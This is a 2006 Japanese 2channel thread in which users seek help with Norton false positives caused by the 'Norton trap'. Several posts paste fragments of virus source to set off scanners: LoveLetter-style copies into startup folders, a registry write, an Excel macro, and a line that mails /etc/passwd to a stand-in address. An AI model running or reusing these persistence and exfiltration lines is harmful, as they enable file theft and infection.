Anti-Virus Part41 pc8.2ch.net/test/read.cgi/sec/1143369350/ 501 名前：ひよこ名無しさん [2006/03/27(月) 22:43:15 ID:l0NeUula] 最初そちらに書き込もうと思ったのですが 質問できる雰囲気じゃないんです。 502 名前：ひよこ名無しさん mailto:sage [2006/03/28(火) 01:04:40 ID:???] >>501 新スレに移行しましたね。 avast! Anti-Virus Part43 pc8.2ch.net/test/read.cgi/sec/1143473121/ >>500にもありますがテンプレをよく読んで誘導されたこととより詳しい環境を添えて聞いてください。 嵐があっても見てくださる人はいます。 チャットではないので即レスは期待しないでくださいね。 邪魔が入ってスルーされたと感じて再投稿する場合や再質問する場合は最初に質問したレス番を名前欄に入れてください｡ 参考に 一般的な質問の仕方 ansitu.xrea.jp/guidance/?methodofquestion 503 名前：ひよこ名無しさん [2006/03/28(火) 14:26:03 ID:YrT7DvdY] 502さんありがとう。 流れが相変わらず速いので機を見て質問することにします。 次回はNortonだけでなくAvastもスレのタイトルに加えてください。 504 名前：ひよこ名無しさん [2006/04/10(月) 20:39:28 ID:x24VBSPG] ↑ 505 名前：ひよこ名無しさん [2006/04/10(月) 21:13:51 ID:xObkN9pL] Wscript.KakWormっていうウィルスを↓のスレを見るたびに感染します。 sakura01.bbspink.com/test/read.cgi/ascii/1135064245/l50 (´･ω･`)ﾎﾞｽｹﾃ ノートンさんが反応します。 506 名前：ひよこ名無しさん mailto:sage [2006/04/10(月) 21:16:42 ID:???] >>505 キンタマです。 507 名前：ひよこ名無しさん mailto:sage [2006/04/10(月) 21:20:28 ID:???] ＞506 誤反応ってことですか？？ 508 名前：ひよこ名無しさん mailto:sage [2006/04/10(月) 21:20:58 ID:???] >>507 トロイです。 509 名前：ひよこ名無しさん mailto:sage [2006/04/10(月) 21:21:56 ID:???] >>508 (´･ω･`)ｼｮﾎﾞﾝ 510 名前：ひよこ名無しさん mailto:sage [2006/04/10(月) 21:23:26 ID:???] 検疫→削除で桶ですか？？ 511 名前：ひよこ名無しさん mailto:sage [2006/04/10(月) 21:25:47 ID:???] 683を除外(´･ω･`) 512 名前：ひよこ名無しさん mailto:sage [2006/04/10(月) 21:27:20 ID:???] >>511 初心者なもので分かりませんorz６８３とは何ですか？ 513 名前：sage [2006/04/10(月) 21:58:13 ID:EhjrOlSY] テスト 514 名前：ひよこ名無しさん mailto:sage [2006/04/10(月) 21:58:27 ID:???] >>512 キンタマです。 515 名前：ひよこ名無しさん mailto:sage [2006/04/10(月) 21:59:34 ID:???] テスト 516 名前：SAGE [2006/04/10(月) 22:01:07 ID:EhjrOlSY] テスト 517 名前：ひよこ名無しさん mailto:SAGE [2006/04/10(月) 22:02:04 ID:???] テスト 518 名前：ひよこ名無しさん mailto:HAGE [2006/04/10(月) 22:03:53 ID:???] テスト 519 名前：ひよこ名無しさん [2006/04/12(水) 21:37:07 ID:oU4WH0fi] money4.2ch.net/test/read.cgi/pachij/1140536153/ ここのすれの>>４５７のところにウイルスコードがあってあるので、 ノートンを立ち上げて、オプション→オートプロテクト→除外→新規→フォルダー？ｱｲｺﾝ→ ローカルディスク（C）→プログラムファイル→Live２ちゃん→log→money4.2ch.net→pachij→ 1140536153と1140536153.idx→すべてOKで閉じ をしたのに、相変わらず上のスレではノートンが反応します。 再度除外項目を見たのですがきちんと除外項目に入ってました。 何故反応するのでしょうか？？ 520 名前：ひよこ名無しさん [2006/04/12(水) 22:14:11 ID:oU4WH0fi] age 521 名前：ひよこ名無しさん mailto:sage [2006/04/12(水) 22:35:04 ID:???] If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") <object data="ms-its:mhtml:file://C:\\MAIN.MHT!www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) ms-its:mhtml:file://c:\ kak.hta';ken=wd+'START kill -9 xz/tSaBh0 Sub auto_open() Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "＼" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub 522 名前：５１９ [2006/04/12(水) 22:53:09 ID:oU4WH0fi] 他で聞きます。 523 名前：ぴーこ名無しさん mailto:・・・ ascii/1143450751/551 sage [2006/04/13(木) 00:07:39 ID:???] >>519,522 ・・・ >>1 2chブラウザのログ保存フォルダを「除外」に設定。 NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。 ログフォルダの場所等についてはお使いの2ちゃんねるブラウザの配布サイト・ヘルプ・スレ等で確認してください。 また、これとは別にワーム誤反応対策の設定もしてね。 info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures ２chNIS問題まとめページ mickey.mirv.net/2chnis.html 524 名前：ひよこ名無しさん mailto:sage [2006/04/15(土) 16:37:44 ID:???] 一昨日くらいからスレが見れなくなった もちろんログ除外はしてあるのに、ノートン切ると見れる どうして？ちなみに専ブラはギコナビ 525 名前：ひよこ名無しさん mailto:sage [2006/04/15(土) 23:21:55 ID:???] >>524 誤反応 526 名前：ひよこ名無しさん mailto:sage [2006/04/16(日) 09:18:27 ID:???] >>524 ログ除外以外にもやる事がある >>1から読め 527 名前：ひよこ名無しさん [2006/04/17(月) 20:53:52 ID:Se29R1qE] c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") <object data="ms-its:mhtml:file://C:\\MAIN.MHT!www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 　　 ms-its:mhtml:file://c:\　 kak.hta';ken=wd+'START End Sub <body onload=window()> 528 名前：ひよこ名無しさん [2006/04/24(月) 17:37:20 ID:2zoSjqC7] にくちゃんねるでログ漁ってたら「ワーム検出で遮断」とかで結局目的のスレが見られないんだが諦めるしかないのかな。 htmlを拡張子の検出対象から外すのもアレだし、ワーム防止をオフにするのもあんまりよろしくなさそうなんだがね。 エロイ人でもエロくない人でも良いから詳しく知ってる人教えておくれ。 529 名前：ひよこ名無しさん mailto:sage [2006/04/24(月) 20:13:42 ID:???] ふーん 530 名前：ひよこ名無しさん mailto:sage [2006/04/30(日) 18:51:48 ID:???] >NIS2005の場合(多分NIS2006も同じ) 同じではない件に付いて 531 名前：ぴーこ名無しさん mailto:・・・ ascii/1143450751/551 sage [2006/05/01(月) 23:31:23 ID:???] >>530 kwsk 532 名前：ぴーこ名無しさん mailto:sage [2006/05/01(月) 23:32:01 ID:???] 目欄が・・・orz........... 533 名前：ひよこ名無しさん [2006/05/04(木) 23:17:25 ID:Gcx9i+9f] >>524と同じ症状です。 ここ１週間から出てる。 534 名前：ひよこ名無しさん [2006/05/13(土) 05:26:57 ID:w+9rO7hg] 　　　　　　　　, -'"´ ￣｀丶､_ 　　　　　　　　 　 ,.∩　　　　　　　　 ｀ヽ 　　　　　　　　　〃∪'´￣｀二二人＼ 　ヽ 　　　　　　　　　| ツ´￣￣￣￣´　ヾ ヽ.　', 　　　　　　　　　|ﾊ　,ニ、 　　,. - ､　| | | ｌ | 　　　　　　　　　| ﾊ ｨハ 　 　 ,二ヽ. | | | | |　同じ板にコピペするとそのままだけど、 　　　　　　　　　| | |　じ'　　　|トJ〉　 /)} ｌ | 違う板にコピペすると鬼のような怖い顔 　　　　　　　　　|　ﾊ　 ､'＿,　 ￣,,　厶ｲ川|　に変わる摩訶不思議な佳子様コピペ。 　　　　　　　　　l　l /＼　　　 ..　イV＼川 | 　　　　　　　　 ,'　l l　,ｲ ｀ｌ￣´ ／　　 /ヽl l 　　　　　　　　 ｌ　| ｌ ハ 　`メ､　　　 〃　 ヽヽ､__ノ 　　　　　　　　 l　 ∨ └‐ｲ「ト--ｧ'´　　 　 ﾊヽ__ノ 　　　　　　　　　ヽ/　　}　 l」」　/　　　　　/ }`ー 　　　　　　　　　 〈_ｎ| 八　　　/ /　　 　 /ノ 　　　　　　　　　 〈二二人 ｃ /＼/ /　, ｲ 　　　　　　　 　　　/　 /厂 ／＼__>＜ ｛＿ 535 名前：ひよこ名無しさん mailto:sage [2006/05/13(土) 09:57:56 ID:???] 　　　　　　　　, -'"´ ￣｀丶､_ 　　　　　　　　 　 ,.∩　　　　　　　　 ｀ヽ 　　　　　　　　　〃∪'´￣｀二二人＼ 　ヽ 　　　　　　　　　| ツ´￣￣￣￣´　ヾ ヽ.　', 　　　　　　　　　|ﾊ　,ニ、 　　,. - ､　| | | ｌ | 　　　　　　　　　| ﾊ ｨハ 　 　 ,二ヽ. | | | | |　同じ板にコピペするとそのままだけど、 　　　　　　　　　| | |　じ'　　　|トJ〉　 /)} ｌ | 違う板にコピペすると鬼のような怖い顔 　　　　　　　　　|　ﾊ　 ､'＿,　 ￣,,　厶ｲ川|　に変わる摩訶不思議な佳子様コピペ。 　　　　　　　　　l　l /＼　　　 ..　イV＼川 | 　　　　　　　　 ,'　l l　,ｲ ｀ｌ￣´ ／　　 /ヽl l 　　　　　　　　 ｌ　| ｌ ハ 　`メ､　　　 〃　 ヽヽ､__ノ 　　　　　　　　 l　 ∨ └‐ｲ「ト--ｧ'´　　 　 ﾊヽ__ノ 　　　　　　　　　ヽ/　　}　 l」」　/　　　　　/ }`ー 　　　　　　　　　 〈_ｎ| 八　　　/ /　　 　 /ノ 　　　　　　　　　 〈二二人 ｃ /＼/ /　, ｲ 　　　　　　　 　　　/　 /厂 ／＼__>＜ ｛＿ 536 名前：ひよこ名無しさん mailto:sage [2006/05/15(月) 14:24:13 ID:???] c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") cat /etc/passwd | mail nobody@nonexistent.com If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1) fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" 537 名前：ひよこ名無しさん mailto:age [2006/05/19(金) 20:06:44 ID:???] 保守age 538 名前：ひよこ名無しさん [2006/05/24(水) 01:38:47 ID:uOt5d8a9] Live2ch使ってます NAV2003のAutoと手動の各除外にLive2chのログフォルダを指定してますが このスレを表示すると、「VBS.LoveLetter.Var」の表示が出ます。 もちろんスレは見れない状態です。 どうすれば回避できますか？ 539 名前：ひよこ名無しさん mailto:sage [2006/05/24(水) 01:40:06 ID:???] 　　　　　　　　＿＿＿ 　　　　　　 ／　　　　 ＼　　　　　＿＿＿＿＿＿＿＿ 　　　　　 /　　 ´｀　　　 ＼　　／ 　　　　　|　　　・　・ 　　　 |　＜おい糞元祖ぶる殿 ◆U/gDqFZzsY.急ぎでラーク買うて来い 　　　　　| 　　（● ●）　　|　　＼＿＿＿＿＿＿＿＿ 　　　　　＼　　 ⊂ニ⊃　ﾉ 　　　　　　 ＼ 　⊂ニ⊃ 　　　　　　　　　￣￣￣ 540 名前：ぴーこ名無しさん mailto:sage [2006/05/24(水) 02:15:51 ID:???] >>538 pc7.2ch.net/test/read.cgi/software/1144772862/12 ログフォルダの指定を今一度確認してください。 以下の方法でウイルスの検出された場所がわかります。 検出先が2ちゃんねるブラウザのログフォルダに含まれていることを確認してね。 service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/11ea5eb60c47e5c085256c470046ed2f/3a0dc97983b6908649256cee002d4b3b?OpenDocument Norton AntiVirus を起動し、[レポート] を選択する。 「活動ログ」 の右側に表示されているボタン、[レポートの表示] をクリックする。 541 名前：538 mailto:sage [2006/05/24(水) 02:24:00 ID:???] >>540 グミクズがさっさと教えろや 542 名前：538 [2006/05/24(水) 03:34:43 ID:uOt5d8a9] >>540 レスありがとうございます。 ログフォルダの指定は合っていました。 ウィルスの検出場所は、Live2ch\temp.htm、という所です。 このHTMLファイルをNAVの除外に設定すればいいんですかね？ それとも止めといたほうがいいですか？（このファイルを削除しても意味無しですよね） よろしければレスお願いします。 >>541 ID隠して騙りは止めてね 543 名前：538 [2006/05/24(水) 03:39:57 ID:uOt5d8a9] >>540 言い忘れました、ちなみに Live2ch\temp.htmはログフォルダの外にあるファイルです。 544 名前：ぴーこ名無しさん mailto:sage [2006/05/24(水) 04:07:14 ID:???] >>542-543 こちらでも確認しました。 Live2chのスレビューはdatをtemp.htmに通して表示するので反応しているようです。 temp.htmを除外に加えたら正常に表示されました。 注意点はウイルスコードをhtmlに埋め込むことになるのでtemp.htmをIEなどのwebブラウザでは開かないでください。 また、2ちゃんねるブラウザの脆弱性を突いたウイルスコードも出る可能性もありますのでノートン本スレや お使いの2ちゃんねるブラウザのスレを見るようにしてください。 545 名前：ぴーこ名無しさん mailto:sage [2006/05/24(水) 04:18:41 ID:???] >>544追記 Live2chのfaqが過去ログにありました。>>84 orz....... 参考に pc7.2ch.net/test/read.cgi/software/1141544659/484-n dat落ち ttp://220.254.5.211:8000/2ch/pc7_software/1141/1141544659.html#484 ミラー 546 名前：538 [2006/05/24(水) 04:40:48 ID:uOt5d8a9] >>545 わざわざ再現までしていただき（しかもこんな夜中に）すみません。。。 temp.htmを除外に加えたら、無事このスレもLive2chで見る事が出来ました。 ありがとうございます！ しかも、過去ログまで探してくれたんですね、、、ありがとうございます。 547 名前：ひよこ名無しさん mailto:sage [2006/05/24(水) 04:47:04 ID:???] >>546 俺も暇だからよー 548 名前：ひよこ名無しさん mailto:sage [2006/05/24(水) 13:46:43 ID:???] >>546 俺も暇だからよー 549 名前：cen ◆Am9xOgNMYE mailto:sage [2006/05/30(火) 02:32:01 ID:??? BE:137160162- ] こんばんは。 >>17のソフトですが、対応するスクリプトを増やしました。 それから、検索の途中で中止できるようにしました。 550 名前：cen ◆Am9xOgNMYE mailto:sage [2006/05/30(火) 02:32:51 ID:??? BE:114300252- ] 忘れてました。 こちらです。 www.geocities.jp/cen_hp/index.html 551 名前：ひよこ名無しさん mailto:sage [2006/05/31(水) 22:57:19 ID:???] bbs.cgiが更新されて>>4のような置換がちゃんと行われるようになった模様です 今後はウィルスコード貼っても反応しなくなるのかな 552 名前：ひよこ名無しさん mailto:sage [2006/06/01(木) 00:54:09 ID:???] ダメですた news18.2ch.net/test/read.cgi/mnewsplus/1149087966/66 >>4は完全に嘘であることが判明したので 次スレから削除かな 削除するだけだと「親切にも」追記する人が現れかねないから 別のテンプレに差し替えた方がいいかな 553 名前：cen ◆Am9xOgNMYE mailto:sage [2006/06/01(木) 01:06:54 ID:???] >>552 >>4の置換で反応しないものもありますが、反応するものも あります。完全に嘘というわけではないです。 554 名前：ひよこ名無しさん mailto:sage [2006/06/01(木) 01:23:16 ID:???] どっちにしろ置換するようになったんだから>>4は大幅書き換えが必要 555 名前：cen ◆Am9xOgNMYE mailto:sage [2006/06/02(金) 01:25:51 ID:???] こんばんは。 >>17のソフトですが、フォルダの設定によって検索できない場合 がありましたので、修正しました。 www.geocities.jp/cen_hp/index.html 556 名前：ぴーこ名無しさん mailto:sage [2006/06/02(金) 02:28:30 ID:???] >>4のテンプレ案です。 単純に文字参照を抜いてみました。 ノートンが反応するのは、ここの掲示板（2ちゃんねる）の仕様です。 ここは、時に他のウィルス対策ソフトが反応する場合もあります。 断言できることは、他のWebページでノートンが反応した場合は要注意ということ。 尚、ここはウイルス鑑定スレではありません。 危ないと思ったURLはラウンジ板等の”勇気が無くて見られない画像解説スレ”で診てもらいましょう。 find.2ch.net/?STR=%CD%A6%B5%A4%A4%AC%CC%B5%A4%AF%A4%C6+%B2%F2%C0%E2%A5%B9%A5%EC&COUNT=50&TYPE=TITLE&BBS=ALL ■関連 ノートントラップ ansitu.xrea.jp/guidance/?Trap#NortonTrap ノートンインターネットセキュリティ＠２ちゃんねる検索 find.2ch.net/?STR=%A5%CE%A1%BC%A5%C8%A5%F3+%8E%B2%8E%DD%8E%C0%8E%B0%8E%C8%8E%AF%8E%C4%8E%BE%8E%B7%8E%AD%8E%D8%8E%C3%8E%A8+board%3A%A5%BB%A5%AD%A5%E5%A5%EA%A5%C6%A5%A3&COUNT=50&TYPE=TITLE&BBS=ALL 557 名前：ひよこ名無しさん mailto:sage [2006/06/02(金) 04:54:27 ID:???] >>556 Q. 2chが文字を置換しないのが悪いって聞いたんだけど A. 情報が古いと思われます。2006年6月から置換するようになりましたが、 　問題の文字を使わなくてもノートンが誤検出する文字列は作れるので 　相変わらず反応する場合があります。 ↑とか追加した方がいい。単に消すと > 「親切にも」追記する人が現れかねないから を防げない。 558 名前：ぴーこ名無しさん mailto:sage [2006/06/03(土) 22:00:18 ID:???] Q. 2ちゃんねるが文字を置換しないのが悪いって聞いたんだけど A. 2006年6月から置換するようになりましたが、 　 ノートンが誤検出する置換できないウィルスコードがあるので反応します。 　 ノートンがウイルスソースに誤反応の補足 　 ansitu.xrea.jp/guidance/?supplement#o0c3cb41 ノートンが反応するのは、ここの掲示板（2ちゃんねる）の仕様です。 ここは、時に他のウィルス対策ソフトが反応する場合もあります。 断言できることは、他のWebページでノートンが反応した場合は要注意ということ。 尚、ここはウイルス鑑定スレではありません。 危ないと思ったURLはラウンジ板等の”勇気が無くて見られない画像解説スレ”で診てもらいましょう。 find.2ch.net/?STR=%CD%A6%B5%A4%A4%AC%CC%B5%A4%AF%A4%C6+%B2%F2%C0%E2%A5%B9%A5%EC&COUNT=50&TYPE=TITLE&BBS=ALL ■関連 ノートントラップ ansitu.xrea.jp/guidance/?Trap#NortonTrap ノートンインターネットセキュリティ＠２ちゃんねる検索 find.2ch.net/?STR=%A5%CE%A1%BC%A5%C8%A5%F3+%8E%B2%8E%DD%8E%C0%8E%B0%8E%C8%8E%AF%8E%C4%8E%BE%8E%B7%8E%AD%8E%D8%8E%C3%8E%A8+board%3A%A5%BB%A5%AD%A5%E5%A5%EA%A5%C6%A5%A3&COUNT=50&TYPE=TITLE&BBS=ALL >>557 ﾉｼｼ 以前の説明をwikiに誘導する形にしてみました。 559 名前：ひよこ名無しさん mailto:sage [2006/06/04(日) 10:03:06 ID:???] u 560 名前：ひよこ名無しさん mailto:age [2006/06/04(日) 10:27:58 ID:???] 保守 561 名前：ひよこ名無しさん mailto:sage [2006/06/05(月) 19:23:06 ID:???] jane doe view使ってるんですが、 ノートントラップのウィルスコード貼られたスレ取得障害になったり、 ここのＰＣ初心者板なんかはノートン切らないと来れません。 それで対策として書かれてる見て、 ノートンアンチウィルスの手動＆オートの除外項目から、 viewのLogsフォルダを両方除外したんですが、 それでも駄目なままです。 他に何をしないといけないんでしょうか？ 562 名前：ひよこ名無しさん mailto:sage [2006/06/05(月) 19:44:30 ID:???] ここを読み直せ 563 名前：ひよこ名無しさん [2006/06/06(火) 18:14:41 ID:yssu6HWa] ウィルスコードに反応したせいで、取得したログが消滅するのについては、 ログフォルダを除外すればいけるわけですが、 最近のウィルスコードは進化してて、 Autoblockで侵入感知反応してしまって、 ２ｃｈの該当ＩＰをアク禁にしてしまってるようなんです。 この場合の対応はどのようにすればよいでしょうか？ ノートン切らないと、ログを取得するどころか、 スレ単位、はなはだしくは板単位でアクセスすらできません。 564 名前：ひよこ名無しさん mailto:sage [2006/06/06(火) 18:17:44 ID:???] >>563 リカバリしろデブ。 565 名前：ひよこ名無しさん mailto:sage [2006/06/06(火) 18:30:21 ID:???] どの専ブラでも基本はログと書き込みフォルダを 除外すればおｋ? 566 名前：ぴーこ名無しさん mailto:sage [2006/06/07(水) 01:17:37 ID:???] >>563 mickey.mirv.net/2chnis.html >>565 ttp://ansitu.xrea.jp/guidance/?Trap#NortonTrap の3番目 詳しくはお使いの2ちゃんねるブラウザのヘルプ・スレ等で確認してください。 567 名前：ひよこ名無しさん mailto:sage [2006/06/07(水) 18:58:51 ID:???] >>564 リカバリしろデブ。 568 名前：<body onload=window()> mailto:eip = eip + unescape("%u7030%u4300") [2006/06/08(木) 03:34:49 ID:???] p + w * 10 <br> End Sub <br> LOVE-LETTER-FOR-YOU 569 名前：ひよこ名無しさん mailto:sage [2006/06/08(木) 03:36:10 ID:???] >568 570 名前：ひよこ名無しさん mailto:sage [2006/06/08(木) 04:18:57 ID:???] さっきこのウィルスソースが２ちゃん掲示板に埋められてるのを見てしまったら、 ウィルスソフトは反応しなかったのですが、 いきなり２ちゃん掲示板の行間が広くなってしまいました。 ネットから接続を切って履歴とかTemporaryInternetFileとか全部削除してから ウィルスチェックをしましたが反応なし。 これはブラウザの表示は変になったけど感染はしなかったということで大丈夫なのでしょうか？ ブラウザは専ブラじゃなくIEで、ウィルスソフトはソースネクストのウィルスセキュリティです。 571 名前：ひよこ名無しさん mailto:sage [2006/06/08(木) 04:21:40 ID:???] 570ですが補足です。 表示したスレは ttp://news19.2ch.net/test/read.cgi/newsplus/1149683324/l50 で、ここの>>5にそのソースが書いてありました。 572 名前：ひよこ名無しさん mailto:sage [2006/06/08(木) 04:23:53 ID:???] >>570 行間が広くなるのはシリア語ブラクラじゃないのか？ 573 名前：ひよこ名無しさん mailto:sage [2006/06/08(木) 04:27:58 ID:???] >>571 5の最後の行にシリア語書いてあるね 574 名前：ひよこ名無しさん mailto:sage [2006/06/08(木) 04:48:56 ID:???] >>572-573 レスありがとうございます。 シリア語ブラクラだと行間が広くなる以外の被害はないですか？ 初めて聞いたもので＞シリア語ブラクラ さきほど念のためもう一度ウィルスチェックしましたがウィルス発見なしでした。 ブラウザと閉じるときにInternetTemporaryFileの中身を削除する設定にしてあるのですが こちらも念のためInternetTemporaryFileの中身も確認してみましたが cookieファイルとfaviconファイルのみ格納されていました。 「html」「htm」がなくなってれば大丈夫ですかね？ 575 名前：ひよこ名無しさん mailto:sage [2006/06/08(木) 05:11:57 ID:???] 　　　　 ／￣￣￣￣￣￣￣＼　 　　　　｜ ○。　　　　　　　　 ｜ 　　　　ﾉﾉ)　　　　　　　　　　　 从 　　　( i从〓〓　　　　　　〓〓.从 　　　.从-=・=-　　　　　　-=・=-从 　　从从. 　　　　 　 ｌ　　　　　 　从） 　　（从.ｌ∴　 　　　 ∨ 　　　 ∴从人） 　（人人|∴ ヽ 　.ｰ===-'　./.∴..从人）　　＜無職元祖ぶる殿 ◆U/gDqFZzsY蚤 　（人人|∴∴!　　 ￣　　　!∴∴ｌ从人） 　　 　（人人|∴∴!.　　　　　　 !∴∴ｌ从人）　　　 　（人人|∴∴!.　　　　　　 !∴∴ｌ从人） ..（人人人＿人＿＿＿＿人＿.人人人） 〔ﾉ二二,＿＿_　　　　　　　＿＿,二二ヽ〕 　|:::::::::::::::::::::::::ヽ゜　　　゜/:::::::::::::::::::::::::/ 　〉:::::::::　:::::::::::::〉__∩__〈::::::::::::::　::::::::〈　 　|:::::::::::::::::::::::／＼￣／ヽ:::::::::::::::::::::/ 〔:::::::::::::::::::::/　　ノ ~ヽ　 ヽ::::::::::::::::::| ヽ:::::::::::::::::/　／:::::::::::: ＼　):::::::::::::::::::ゝ ﾉ:::::::::::::::::::|　|_〜─ー＝ - |　|〜〜〜/ 576 名前：ひよこ名無しさん mailto:age [2006/06/12(月) 11:39:57 ID:???] このスレだと反応しないのは何で？ 577 名前：ひよこ名無しさん mailto:sage [2006/06/13(火) 14:13:25 ID:???] 特定のスレに擬似ウィルスコード貼り付ける奴がいて困ってます。 ノートンのauto protect と手動スキャンで、 専ブラを除外するように設定してるんですが、スレを開くとエラーになってしまいます。 ttp://ansitu.xrea.jp/guidance/?NortonInternetSecurity このサイトに書かれてる、信頼のアドレスを追加の設定はしました。 エラーのログを取得して、弾かれて、 有志さんの誤反応無効化スクリプトで書き換えて、 時間たつのまってから閲覧。しかもレス番はズレでわけわかめ という状態です。 何かうまく弾く方法はないんでしょうか？ 578 名前：ひよこ名無しさん mailto:sage [2006/06/13(火) 20:49:00 ID:???] >>577 きちんと専ブラのログを除外する 579 名前：577 mailto:sage [2006/06/14(水) 13:32:40 ID:???] >>578 僕の分かるように１〜１０までしっかりすべてと教えて下さい。 さっさと、教えろボケこのやろう 　　　　　　　　　　　　　　 ∧＿∧ 　　,,,,,,,,,,,,,,,∧,,∧　 　　　（　´∀｀）　＼ 〜′,,,,,,,,,,ミ,,ﾟДﾟ彡　 　　/　　つ℃━━━━━━━━━━━━ 　　UU""""U U　　　〜(_つ　つ 　　　　＼へへ＿　　　　　　　｜ ――――――――――――――――｜ 　　　　　　　　.　　｜ 　　　　　　　　　　　　　　　　　　　　　　 　｜　　　　　　　　　　 ｜ 　　　　　　　　　　　　　　　　　　　　　　 　｜へ＿＿　　　　.　　｜ 　　　　　　　　　　　　　　　　　　　　　　 　｜　　　　　　　　　　 ｜ へ＿＿＿＿へ＿＿/＿＿＿へへ＿＿へ＿＿＿＿＿＿　　 ｜ 　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　｜ 　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　｜　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　｜ 　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　（（　 ｜　）） 　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　｜　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　｜ 　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　｜　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　｜ 　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　｜　　　　 　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　｜〜〜〜ヽ｀∀´>ヾ〕∈ 580 名前：ひよこ名無しさん mailto:sage [2006/06/17(土) 22:54:14 ID:???] >>2ё <body onload=window()> If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") <object data="ms-its:mhtml:file://C:\\MAIN.MHT!www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) ms-its:mhtml:file://c:\ kak.hta';ken=wd+'START kill -9 xz/tSaBh0 Sub auto_open() Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "＼" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub ??? 581 名前：ひよこ名無しさん [2006/06/18(日) 17:52:54 ID:k4PxNBCi] <body onload=window()> If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") <object 